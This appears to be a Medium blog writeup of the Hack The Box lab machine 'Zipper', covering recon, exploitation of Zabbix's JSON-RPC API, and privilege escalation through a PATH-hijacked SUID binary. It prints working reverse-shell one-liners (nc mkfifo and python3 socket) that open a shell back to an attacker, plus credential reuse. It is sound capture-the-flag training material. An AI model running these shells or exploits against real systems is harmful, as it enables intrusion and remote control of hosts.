[HTB] Zipper — Writeup (OSWE-Prep)

Zipper is a hard difficulty Linux box. Good learning path for:

Initial Recon


# nmap -Pn --open -T4 -sV -sC -p- Nmap 7.80 ( https://nmap.org ) at 2021-04-11 21:32 EDT
Nmap scan report for
Host is up (0.082s latency).
Not shown: 65532 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
| 256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_ 256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Directory Enumeration (Gobuster)

As usual, I ran a quick gobuster to see if I could discover more of the interesting files/folders on the web server.

# gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Tried a default login admin : zabbix but it didn’t work.

Initial Foothold

Zabbix User Identification

There was an option for “sign in as guest.” But nothing useful found for exploiting the application. Under the /Monitoring/Latest data tab, however, I found an item called “ Zapper’s Backup Script” which may indicate a potential user name to the application.

I tried zapper : zapper as a quick test, which seemed valid login; however, I got “GUI access disabled” error.

Even though I had a valid set of credentials, no access was bummer. I did some Google search around any public exploits for the Zabbix 3.0.21 application. I got the installed version from the guest login session.

I found this Zabbix 2.2 < 3.0.3 API JSON-RPC Remote Code Execution exploit. This looked promising but I was still missing one item to use this exploit script, which was hostid.

Zabbix-cli Access → hostid Enumeration

Further research found that I could use zabbix-cli to access the application.

# git clone https://github.com/unioslo/zabbix-cli.git
# cd zabbix-cli/
# ./setup.py install
# /bin/zabbix-cli-init -z
[INFO]: wrote config to '/root/.zabbix-cli/zabbix-cli.conf'
# cat /root/.zabbix-cli/zabbix-cli.conf
zabbix_api_url =
cert_verify = ON
system_id = zabbix-ID
default_hostgroup = All-hosts
default_admin_usergroup = Zabbix-root
default_create_user_usergroup = All-users
default_notification_users_usergroup = All-notification-users
default_directory_exports = /root/zabbix_exports
default_export_format = XML
include_timestamp_export_filename = ON
use_colors = ON
use_auth_token_file = OFF
use_paging = OFF
logging = OFF
log_level = INFO
log_file = /root/.zabbix-cli/zabbix-cli.log


With the newly found hostid value, I updated the exploit script. (You can use either of 10105 or 10106 as the hostid value)

Running the script, I successfully gained the initial RCE on the Zabbix box. But when I typed hostname command I got 4422a491d297 indicating this was a container environment.

I had no success to escape from the container, and it turned out to be a dead-end.


Further research found that in Zabbix application, there are 2 locations to run a script: 1) Zabbix Agent; 2) Zabbix Server. Additionally, according the document, the Zabbix Server is a default location to run a script object (or command).


I updated the PoC exploit script to add execute_on : 0 parameter to specify the location to run on Zabbix Agent.


This trick worked successfully to gain shell on the Zipper host this time.

Once I got the RCE on the Zipper box using the PoC script, I wanted to get a reverse shell for better access. I used the following nc shell, but it was closing the nc listener immediately for some reason.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9001 >/tmp/f

So I used the following python3 reverse shell, and it was working fine:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation

zabbix → zapper (Hardcoded Credentials)

In zapper's home directory, I found a script called backup.sh which contained hardcoded password ZippityDoDah


Reusing that password , I was able to escalate to the zapper user and read the user.txt flag.

zapper → root (Hijack Binary)

In the home directory, I found a suid binary zabbix-service. When I run it, it was pretty simple: start or stop.

Since it was ELF 32-bit binary, I moved it over to my Kali and started to decompile it to understand what it does.

# nc on my Kali
root@kali:~/Documents/htb/box/zipper# nc -lvnp 9002 > zabbix-service
# nc on Zabbix box
zapper@zipper:~/utils$ nc 9002 < zabbix-service

Then, I started a new project in Ghidra.

Ghidra easily decompiled the binary, and I could understand what it was doing.

Our attack path is now clear that:

Creating fake.c and moving it over to Zabbix box:

Compiling the fake.c with gcc:

Updating the $PATH:


Everything was set now. Finally, when I ran the zabbix-service, our fake systemctl was triggered and opened up root shell. And I could read the root.txt flag.


Zipper was very fun and had some interesting attack vectors against Zabbix application. JSON RPC was interesting and thanks to the PoC script, it was pretty easy to exploit and learn what it does. However, it was more like OSCP-like box rather then OSWE-like box in my opinion.

Thanks to TJ_NULL for providing the list for the OSWE-like VMs

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store